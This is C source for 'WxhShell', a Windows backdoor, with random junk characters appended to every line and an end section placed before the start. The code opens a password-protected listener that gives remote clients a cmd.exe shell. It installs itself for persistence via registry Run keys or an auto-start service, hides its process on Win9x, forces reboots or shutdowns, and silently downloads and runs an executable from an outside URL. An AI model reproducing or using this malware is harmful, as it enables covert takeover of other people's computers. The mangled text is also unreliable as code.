  case 'd': { JS }_q1H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .~FKyP>[$  
    if(Boot(SHUTDOWN)) q}wl_ku9+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cg>!<T*  
    else { k8!hvJ)?  
    closesocket(wsh); UUt~W  
    ExitThread(0); ZJiuj!  
    } <L[T'ZE+  
    break; 1jR=h7^=  
    } r@N39O*Wq  
  // 获取shell LG"BfYy6  
  case 's': { ,AGM?&A  
    CmdShell(wsh); hpd(d$j  
    closesocket(wsh); Fr938q6^-  
    ExitThread(0); 6{Krw \0  
    break; g6x/f<2x  
  } S,ouj;B  
  // 退出 F(?Fz8  
  case 'x': { [,.[gWA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vu_7uSp,)  
    CloseIt(wsh); My'9S2Y8nv  
    break; ^K1~eb*K  
    } `</=AY>  
  // 离开 C}dKbs^g|  
  case 'q': { _stI?fz*4k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B]+7 JB  
    closesocket(wsh); s8`}x_k=  
    WSACleanup(); lq78gOg{  
    exit(1); Fjb4BdZ P  
    break; Y^*Lh/:h  
        } A&X  
  } %OezaNOtm  
  } duZ|mT8Q==  
y\r^\ S9%  
  // 提示信息 wR 5\^[GN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .b!OZ  
} j\i;'t}8g  
  } F)[XIY&2/  
^?sSsH z  
  return; -52 @%uB  
} +R{A'Yl[(  
rw40<SS"Z  
// shell模块句柄 v%69]a-T  
int CmdShell(SOCKET sock) e{q p!N1!  
{ iMOPD}`IX  
STARTUPINFO si; b n<I#ZH2  
ZeroMemory(&si,sizeof(si)); xr7-[)3Q$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8M".o n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ue^?/{OuT  
PROCESS_INFORMATION ProcessInfo; &CxyP_  
char cmdline[]="cmd"; 2Q`PUXj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y4)ZUv,}  
  return 0; HlOAo:8'  
} =Ov;'MC  
o}r!qL0c  
// 自身启动模式 ~x +:44*  
int StartFromService(void) eE#81]'6a  
{ cAsSN.HFS  
typedef struct  gnKU\>2k  
{ rS,* s'G  
  DWORD ExitStatus; (F4dFh  
  DWORD PebBaseAddress; [7SI<xkv  
  DWORD AffinityMask; ?-(w][MT\  
  DWORD BasePriority; flm,r<*}  
  ULONG UniqueProcessId; P@! Q1pr  
  ULONG InheritedFromUniqueProcessId; 4:%El+,_Y  
}   PROCESS_BASIC_INFORMATION; i"r.>X'Z  
O;&yA<  
PROCNTQSIP NtQueryInformationProcess; Rpa A)R,  
M rH%hRV6R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qw Kh,[]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gOES2 4$2  
g#9*bF  
  HANDLE             hProcess; K\Y6 cj  
  PROCESS_BASIC_INFORMATION pbi; rH} Dt@  
@'NaA SB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n'x`oI)-  
  if(NULL == hInst ) return 0; XSHwE)m  
)P(d66yq'u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]VHdE_7)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e5"-4udCn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ')yF0  
tswG"1R  
  if (!NtQueryInformationProcess) return 0; q)z1</B-  
x9{Sl[2&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  HPd+Bd  
  if(!hProcess) return 0; EkgN6S`}  
BHRrXC\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8YJqM,t5)  
u6bB5(s`&  
  CloseHandle(hProcess); s6eq?1l 3  
CpP$HrQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B 3,ig9  
if(hProcess==NULL) return 0; Fm[?@Z&wP  
Vqv2F @.  
HMODULE hMod; DY+8m8!4H  
char procName[255]; {ZBb. $}RC  
unsigned long cbNeeded; yW6[Fpw  
a s<q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lu#@~  
/K Jx n6  
  CloseHandle(hProcess); MRl*r K  
/S=;DxZ,r  
if(strstr(procName,"services")) return 1; // 以服务启动 2}xFv2X  
|Z^c #R  
  return 0; // 注册表启动 s_Ge22BZ  
} 1+PNy d  
gp|7{}Q{  
// 主模块 'k(~XA}X:  
int StartWxhshell(LPSTR lpCmdLine) Q+%m+ /Zq  
{ ~1wdAq`'a  
  SOCKET wsl; GO:1 Z?^  
BOOL val=TRUE; J?,!1V=  
  int port=0; 5)SZd)  
  struct sockaddr_in door; '\E*W!R.]  
2YP"nj#  
  if(wscfg.ws_autoins) Install(); @T~#Gwv  
7gR;   
port=atoi(lpCmdLine); `$x#_-Hn  
o._#=7|(  
if(port<=0) port=wscfg.ws_port; fb=$<0Ocj  
2zrWR%B  
  WSADATA data; VkP:%-*#v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X m:gD6;9  
Iy1X nS*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C_khd"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |{|r? 3  
  door.sin_family = AF_INET; G]3ML)l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2O)Kn q  
  door.sin_port = htons(port); yfw>y=/p  
RT+30Q?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %[ bO\,  
closesocket(wsl); }zfLm` vJ  
return 1; yOCcp+`T}  
} 4`5Qt=}  
E,yzy[gl  
  if(listen(wsl,2) == INVALID_SOCKET) { =x.v*W]F`  
closesocket(wsl); ([XyW{=h!  
return 1; "62Ysapq+  
} Go+,jT-  
  Wxhshell(wsl); $v}8lBCr3  
  WSACleanup(); OXCml(>{  
^[?+=1 k  
return 0; D(ntVR  
Bw/H'Y  
} ^9V8M9  
e !x-:F#4j  
// 以NT服务方式启动 6_}){ZR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :>-sITeY  
{ uc(yos  
DWORD   status = 0; \S@=zII_  
  DWORD   specificError = 0xfffffff; Z$=$oJzB  
ujp,D#xHP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eq 1 4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t:j07 ,1~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6%hEs6-R  
  serviceStatus.dwWin32ExitCode     = 0; kE(-vE9  
  serviceStatus.dwServiceSpecificExitCode = 0; QO`SnN}  
  serviceStatus.dwCheckPoint       = 0; K}*p(1$u  
  serviceStatus.dwWaitHint       = 0; k-PRV8WO  
PNxO \Rc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O}iKPY8K  
  if (hServiceStatusHandle==0) return; {aa,#B] i  
JP% ;rAoJ  
status = GetLastError(); )*<d1$aM  
  if (status!=NO_ERROR) g8qAJ4  
{ ]=XL9MI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7/$Z7J!k  
    serviceStatus.dwCheckPoint       = 0; (a4y1k t-  
    serviceStatus.dwWaitHint       = 0; J3}C T  
    serviceStatus.dwWin32ExitCode     = status; m_ONsZHy  
    serviceStatus.dwServiceSpecificExitCode = specificError; jE5 9h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fu$Gl$qV?%  
    return; O09g b[  
  } `[u>NEb  
!";$Zu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 27i<6PAC[A  
  serviceStatus.dwCheckPoint       = 0; NTX+7<  
  serviceStatus.dwWaitHint       = 0; [-94=|S @  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \c^jaK5  
} O NzdCgY  
kk./-G  
// 处理NT服务事件,比如:启动、停止 3:gO7Uv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^>}[[:(6/  
{ [67f;?b  
switch(fdwControl) hr"+0KeX  
{ ZjbG&oc  
case SERVICE_CONTROL_STOP: uC ;PP=z  
  serviceStatus.dwWin32ExitCode = 0; Evgq}3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _I"<?sh 3  
  serviceStatus.dwCheckPoint   = 0; <y/AEY1  
  serviceStatus.dwWaitHint     = 0; T1W9@9,s  
  { vh.tk^&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "YU~QOGx@  
  } ^9~%=k=  
  return; D7 '0o`|  
case SERVICE_CONTROL_PAUSE: Y`p&*O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ] Lft^,7  
  break; y/*Tvb #TJ  
case SERVICE_CONTROL_CONTINUE: ED_5V@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T7nX8{l[RG  
  break; u\Q**m2XP  
case SERVICE_CONTROL_INTERROGATE: PsT v\!  
  break; DMpd(ws  
}; C^v -&*v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _; RD-kv  
} N28?JQha  
D_kz R  
// 标准应用程序主函数 XQ y|t"Vq>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *G"#.YvE  
{ *wyLX9{:  
[4yQbqe;  
// 获取操作系统版本 0s[3:bZ\Ia  
OsIsNt=GetOsVer(); qCT\rZU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d(tf: @  
\5c -L_  
  // 从命令行安装 $=a$z"  
  if(strpbrk(lpCmdLine,"iI")) Install(); +W[#;)ea(  
:u+#:8u  
  // 下载执行文件 #mxfU>vQ:  
if(wscfg.ws_downexe) { UoT}m^ G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T1[ZrY'0  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pu*UZcXY  
} |VF"Cjw?  
X,CF Y  
if(!OsIsNt) { LMj'?SuH  
// 如果时win9x,隐藏进程并且设置为注册表启动 nECf2>Yp v  
HideProc(); ;P#*R3   
StartWxhshell(lpCmdLine); t O;W?g  
} o fv 1G=P  
else %+J*oFwQu  
  if(StartFromService()) 5!p'n#_  
  // 以服务方式启动 H5t`E^E  
  StartServiceCtrlDispatcher(DispatchTable); @x ]^blq  
else ,1+_k ="Z  
  // 普通方式启动 6;V 1PK>9  
  StartWxhshell(lpCmdLine); 4=cq76  
YIqfGXu8  
return 0; ^Pp FI  
} BVeNK=7m%  
}-iOYSn  
kfECC&"  
]`9K|v  
=========================================== DMW:%h{  
(fb\A6  
Lwk-  
BBj"}~da  
C{^@.8:  
iP_Xr~w  
" ^<+heX  
^Z+D7Q  
#include <stdio.h> >xgd<  
#include <string.h> zt}p-U2I  
#include <windows.h> ,KaWP  
#include <winsock2.h> EOC"a}Cq-  
#include <winsvc.h> fdW={}~  
#include <urlmon.h> ZM!~M>B9R  
uMZf9XUE  
#pragma comment (lib, "Ws2_32.lib") W<l(C!{  
#pragma comment (lib, "urlmon.lib") brot&S2P><  
54%}JA][  
#define MAX_USER   100 // 最大客户端连接数 JFdzA  
#define BUF_SOCK   200 // sock buffer [)u{-  
#define KEY_BUFF   255 // 输入 buffer :E*U*#h/  
IBsn>*ja<  
#define REBOOT     0   // 重启 Z_+No :F7I  
#define SHUTDOWN   1   // 关机 `^{P,N>X  
CgE5;O  
#define DEF_PORT   5000 // 监听端口 zf u78  
*?Y6qalSy  
#define REG_LEN     16   // 注册表键长度 5)6%D  
#define SVC_LEN     80   // NT服务名长度 +06j+I  
lNAHn<ht  
// 从dll定义API WQ`T'k#ESW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i(rY'o2 BN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KR0 x[#.*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %Ski5q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i*j+<R@  
`h6W@ROb  
// wxhshell配置信息 INpub 5  
struct WSCFG { " z{w^k  
  int ws_port;         // 监听端口 _r'M^=yx[  
  char ws_passstr[REG_LEN]; // 口令 3J<,2  
  int ws_autoins;       // 安装标记, 1=yes 0=no {Wo7=aR  
  char ws_regname[REG_LEN]; // 注册表键名 1fZ:^|\  
  char ws_svcname[REG_LEN]; // 服务名 &.B6P|N'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IrC=9%pd$R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L;`t%1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k6S<46}h|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O?Tg`]EX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ? Y* PVx9Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YZ@-0_Z  
\f#ao<vQm  
}; [%kucGC7  
_TF>c:m3  
// default Wxhshell configuration Zlo,#q  
struct WSCFG wscfg={DEF_PORT, gZv <_0N  
    "xuhuanlingzhe", Hc9pWr "N  
    1, EVsZ:Ra^k  
    "Wxhshell", (=9&"UH  
    "Wxhshell", g(k|"g`*  
            "WxhShell Service", RUKSGj_NJ  
    "Wrsky Windows CmdShell Service", FO$Tn+\6  
    "Please Input Your Password: ", UepBXt3)  
  1, +_Z/VQv  
  "http://www.wrsky.com/wxhshell.exe", _!zY(9%  
  "Wxhshell.exe" qzz'v  
    }; Ip0q&i<6  
d9"4m>ymS  
// 消息定义模块 4^&vRD,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ev $eM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5>Q)8` @E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u7d]%<~'$F  
char *msg_ws_ext="\n\rExit."; {,=,0NQKn  
char *msg_ws_end="\n\rQuit."; 605|*(  
char *msg_ws_boot="\n\rReboot..."; stPCw$@  
char *msg_ws_poff="\n\rShutdown..."; r8rR_ M{P  
char *msg_ws_down="\n\rSave to "; oV`sCr5%  
 \Z':hw  
char *msg_ws_err="\n\rErr!"; \ 714Pyy  
char *msg_ws_ok="\n\rOK!"; *b EsWeP  
pyKag;ZtP  
char ExeFile[MAX_PATH]; 5,C,q%2  
int nUser = 0; Df (6DuW  
HANDLE handles[MAX_USER]; t=AR>M!w~  
int OsIsNt; M %~kh"  
Hik[pVK@  
SERVICE_STATUS       serviceStatus; "L]_NS T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `Z-`-IL  
j$6}r  
// 函数声明 e^yB9b  
int Install(void); jxvVp*-=<j  
int Uninstall(void); nP^$p C  
int DownloadFile(char *sURL, SOCKET wsh); Npqbxb  
int Boot(int flag); %:*HzYf  
void HideProc(void); 32yNEP{  
int GetOsVer(void); H^G*5EQK  
int Wxhshell(SOCKET wsl); 3nO|A: t  
void TalkWithClient(void *cs); n>WS@b/o  
int CmdShell(SOCKET sock); h.*|4;  
int StartFromService(void); (agdgy:#  
int StartWxhshell(LPSTR lpCmdLine); Xc!w y9m  
W= !f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rAKd f??  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I1g u<a  
}wV rmDh \  
// 数据结构和表定义 !T*izMX}  
SERVICE_TABLE_ENTRY DispatchTable[] = 9=|5-? ^  
{ Y~Rwsx  
{wscfg.ws_svcname, NTServiceMain}, =>G A_  
{NULL, NULL} #^Y,,GA  
}; :"4~VDu  
`f'P  
// 自我安装 <mN3:G  
int Install(void) iX=*qiVX  
{ Qxwe,:  
  char svExeFile[MAX_PATH]; 5WUrRQ?E  
  HKEY key; C7{wI`~  
  strcpy(svExeFile,ExeFile); Q*he%@w  
y_6HQ:  
// 如果是win9x系统,修改注册表设为自启动 wrbDbp1L  
if(!OsIsNt) { rfjQx]3pB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O%r<I*T^r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >KE(%9y~  
  RegCloseKey(key); 7u zN/LAF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xk/(| f{L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > L%%B-  
  RegCloseKey(key); t`  Sh!e  
  return 0; U&6f}=v C  
    } :|a[6Uwl\V  
  } ydt1ED0Q-  
} <$ 5\^y,V  
else { 3r\QLIr L8  
ZU`"^FQ3A  
// 如果是NT以上系统,安装为系统服务 W>~V?%F&'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '&9b*u";x(  
if (schSCManager!=0) ;>~iCF k]?  
{ mS0W@#|K  
  SC_HANDLE schService = CreateService Wh,kJis<  
  ( C.@TX  
  schSCManager, G.Q+"+* ^  
  wscfg.ws_svcname, 8PQt8G.  
  wscfg.ws_svcdisp, /W9=7&R0  
  SERVICE_ALL_ACCESS, <XNLeJdY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T4[eBO  
  SERVICE_AUTO_START, 0PN{ +<? .  
  SERVICE_ERROR_NORMAL, 6[cMPp x  
  svExeFile, &\LbajP:+  
  NULL, tm$3ZzP4  
  NULL, .MKxHM7  
  NULL, Fq8Z:;C8  
  NULL, [(C lvGx  
  NULL Vh&uSi1V  
  ); %]-tA,u  
  if (schService!=0) -8]$a6`{_  
  { m*1=-" P  
  CloseServiceHandle(schService); R&?p^!`%  
  CloseServiceHandle(schSCManager); i[B%:q:&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' {Q L`L  
  strcat(svExeFile,wscfg.ws_svcname); ^#nAS2w7U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j'Fni4;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^dro*a,  
  RegCloseKey(key); /#tOi[0[  
  return 0; b{A#P?  
    } t4h* re+  
  } uB\A8zC  
  CloseServiceHandle(schSCManager); o\N),;LM  
} 2n\EZ  
} |K]tJi4fz  
dQ<EDtap  
return 1; l{<@[foc  
} u!O)\m-  
Y9ru~&/o$  
// 自我卸载 hGsY u)  
int Uninstall(void) },l3N K  
{ o!Y7y1$  
  HKEY key; MD+Q_  
+7=3[K  
if(!OsIsNt) { Lr`yl$6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (uSfr]89'  
  RegDeleteValue(key,wscfg.ws_regname); S;Vj5  
  RegCloseKey(key); [ACa<U/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { um/iK}O  
  RegDeleteValue(key,wscfg.ws_regname); 8"+Kz  
  RegCloseKey(key); r'&VH]m  
  return 0; ;X8eZQ  
  } #jQITS7  
} a$ Z06j  
} =cxjb,r  
else { SJ<nAX  
,+ WDa%R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oYW:p tJ  
if (schSCManager!=0) HJDM\j*5  
{ )gZ yW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WHL@]^E@m  
  if (schService!=0) qTG/7tn "  
  { |1#*`2j\=9  
  if(DeleteService(schService)!=0) { s q_ f[!  
  CloseServiceHandle(schService); OF}vY0oiw?  
  CloseServiceHandle(schSCManager); z&w@67 >j  
  return 0; %k9GoX_  
  } y:mXv<g  
  CloseServiceHandle(schService); V V<Zl  
  } Z\n nVM=  
  CloseServiceHandle(schSCManager); bO9X;} \6  
} o<Q~pd#Ip,  
} Wh,p$|vL  
`rvS(p[s  
return 1; {q:6;yzxl  
} uZCPxog  
L+&$/1h]  
// 从指定url下载文件 zpJQ7hym  
int DownloadFile(char *sURL, SOCKET wsh) Zv-#v  
{ vLq_l4l  
  HRESULT hr; (<|,LagTuc  
char seps[]= "/"; 3:s!0ty"  
char *token; G22u+ua  
char *file; 'vBuQinn  
char myURL[MAX_PATH]; C1hp2CW$5/  
char myFILE[MAX_PATH]; n}EH{k9#  
A\LMmg  
strcpy(myURL,sURL); Q/I/>6M7UZ  
  token=strtok(myURL,seps); H>% K}Fh  
  while(token!=NULL) Pa+%H]vB  
  { l4RZ!K*X_"  
    file=token; cJMp`DQzc  
  token=strtok(NULL,seps); Nzf tc  
  } ) }(Po_  
m;'ebkq  
GetCurrentDirectory(MAX_PATH,myFILE); w=,bF$:fIW  
strcat(myFILE, "\\"); S/V%<<[>p]  
strcat(myFILE, file); 1GE[*$vuq  
  send(wsh,myFILE,strlen(myFILE),0); =XVw{\#9 b  
send(wsh,"...",3,0);  (cx Q<5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tw,uV)xm  
  if(hr==S_OK) FG/1!8F  
return 0; ka0MuQ M  
else uWkW T.>$  
return 1; XU_gvz  
Ejmpg_kux  
} ]De<'x}  
XkDIP4v%  
// 系统电源模块 I|(r1.[K  
int Boot(int flag) c~SR@ZU  
{ 8MU+i%hd  
  HANDLE hToken; *lc|iq\  
  TOKEN_PRIVILEGES tkp; u^, eHO  
DZ"'GQSg  
  if(OsIsNt) { 7v't# =  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q\rf J||  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _\;0E!=p  
    tkp.PrivilegeCount = 1; E%LUJx}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .~u[rc|<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Pt_<?JtV  
if(flag==REBOOT) { qz95)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tnE),  
  return 0; FF#T"y0Y  
} k'QI`@l&l  
else { @q]4]U)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6+!$x?5|NP  
  return 0; jl9hFubwW  
} TXdo,DPv7  
  } {.eo?dQ  
  else { {^8?fJ/L  
if(flag==REBOOT) { w{mw?0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xu\s2x$  
  return 0; w$iQ,--  
} R#HVrzOO|T  
else { xIA]5@;a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OY Sq)!:  
  return 0; 'h R0JXy  
} GHY+q{'#V_  
} KT[ZOtu  
K @RGvP  
return 1; DQ<4`wEM  
} C~Hhi-Xl)  
zX lcu_rc  
// win9x进程隐藏模块 Fs"i fn0  
void HideProc(void) ?zex]!R  
{ 9fm9xTL  
>v2/0>U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D%L^[|)c\s  
  if ( hKernel != NULL ) oz:"w nX  
  { #/_{(P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P?p]sLrP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |M`'   
    FreeLibrary(hKernel); gFqF&t  
  } #N"m[$;QR  
E5!vw@,  
return; \HXq~Y  
} zZ6m`]{B9?  
4_kY^"*#"  
// 获取操作系统版本 d~ +(g!  
int GetOsVer(void) _B>'07D0  
{ ^"<x4e9+j  
  OSVERSIONINFO winfo; 'Lq+ONX5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aVCPaYe^  
  GetVersionEx(&winfo); yIhPB8QL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s]]lB018O\  
  return 1; ;4l8Qg 7  
  else ?VlGTMaS+  
  return 0; k@ <dru  
} -L +kt_>  
,OWk[0/  
// 客户端句柄模块 UB/"&I uo  
int Wxhshell(SOCKET wsl) -0UR%R7q  
{ .fbY2b([  
  SOCKET wsh; ?5FlbiT  
  struct sockaddr_in client; !B 4zU:d  
  DWORD myID;  9u^M{6  
)X?oBNsj  
  while(nUser<MAX_USER) FRuPv6  
{ f"RC(("6W  
  int nSize=sizeof(client); yX4 Vv{g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 58XZ]Mc0  
  if(wsh==INVALID_SOCKET) return 1; " i:[|7  
|QS3nX<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NB1KsvD{  
if(handles[nUser]==0) 1Y87_o'd  
  closesocket(wsh); u?" ="-^  
else e8rZP(g&g  
  nUser++; <pfl>Uf  
  } +: x[cK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EjL]#,QR  
[0EWIdT*b  
  return 0; =* G3Khz!  
} D%~tU70a  
.<zKBv  
// 关闭 socket ~n- Px)  
void CloseIt(SOCKET wsh) N"}>);r  
{ 9 wZ?")2  
closesocket(wsh); KF zI27r  
nUser--; f[1cN`|z  
ExitThread(0); uLafO=Q  
} Ly&+m+Gwu  
?<${?L>  
// 客户端请求句柄 )i}j\";>L  
void TalkWithClient(void *cs) OL>)SJj5  
{ Qn7T{ BW  
'{cSWa| #  
  SOCKET wsh=(SOCKET)cs; Rjq Xz6  
  char pwd[SVC_LEN]; ss[`*89  
  char cmd[KEY_BUFF]; wn.~Dx  
char chr[1];  ][wb4$2  
int i,j; ]R_R`X?  
n9xP8<w8  
  while (nUser < MAX_USER) { Iz1x|EQ  
@>HTbs6W  
if(wscfg.ws_passstr) { *mzi ?3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <a]i"s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HD^#"  
  //ZeroMemory(pwd,KEY_BUFF); ?>Sv_0  
      i=0; S s+F  
  while(i<SVC_LEN) { wkM1tKhy/  
uR ?W|a  
  // 设置超时 j@>D]j  
  fd_set FdRead; q0NFz mG  
  struct timeval TimeOut; }:m/@LKB  
  FD_ZERO(&FdRead); ux<|8S  
  FD_SET(wsh,&FdRead); o5bp~.m<  
  TimeOut.tv_sec=8; 8 MQq3  
  TimeOut.tv_usec=0; ^FKiVKI:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S3\NB3@qC&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eCYPd-d  
Fp/{L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "iA0hA  
  pwd=chr[0]; 3]l)uoNt/  
  if(chr[0]==0xd || chr[0]==0xa) { ~ubvdQEW  
  pwd=0; hI'WfF!X  
  break; F{0\a;U@^  
  } !l9{R8m>eJ  
  i++; pcy;]U ?  
    } <{isWEW9]3  
WeM38&dWY  
  // 如果是非法用户,关闭 socket kJJT`Ba&/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); au{) 5W4~  
} 5dm~yQN/  
2)n`Bd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o]4]fLQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x~V[}4E%>  
3PE.7-HF  
while(1) { h m,{C  
I/`"lAFe  
  ZeroMemory(cmd,KEY_BUFF); 8@t8P5(vL  
UGSZg|&6#*  
      // 自动支持客户端 telnet标准   D5,]E`jwu  
  j=0; oZa'cZNs  
  while(j<KEY_BUFF) { J,F1Xmr4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p?i.<Z  
  cmd[j]=chr[0]; wM+1/[7  
  if(chr[0]==0xa || chr[0]==0xd) { 4.!1odKp  
  cmd[j]=0; } ?j5V  
  break; @@AL@.*  
  } 6Ijt2c'A}  
  j++; t3@+idEb  
    } &BRk<iwV  
cLV*5?gVO  
  // 下载文件 <E2 IU~e  
  if(strstr(cmd,"http://")) { e$Ksn_wEq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BS9VwG <Z  
  if(DownloadFile(cmd,wsh)) 7%y$^B7{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ln8Cpbca  
  else BpZ~6WtBq  
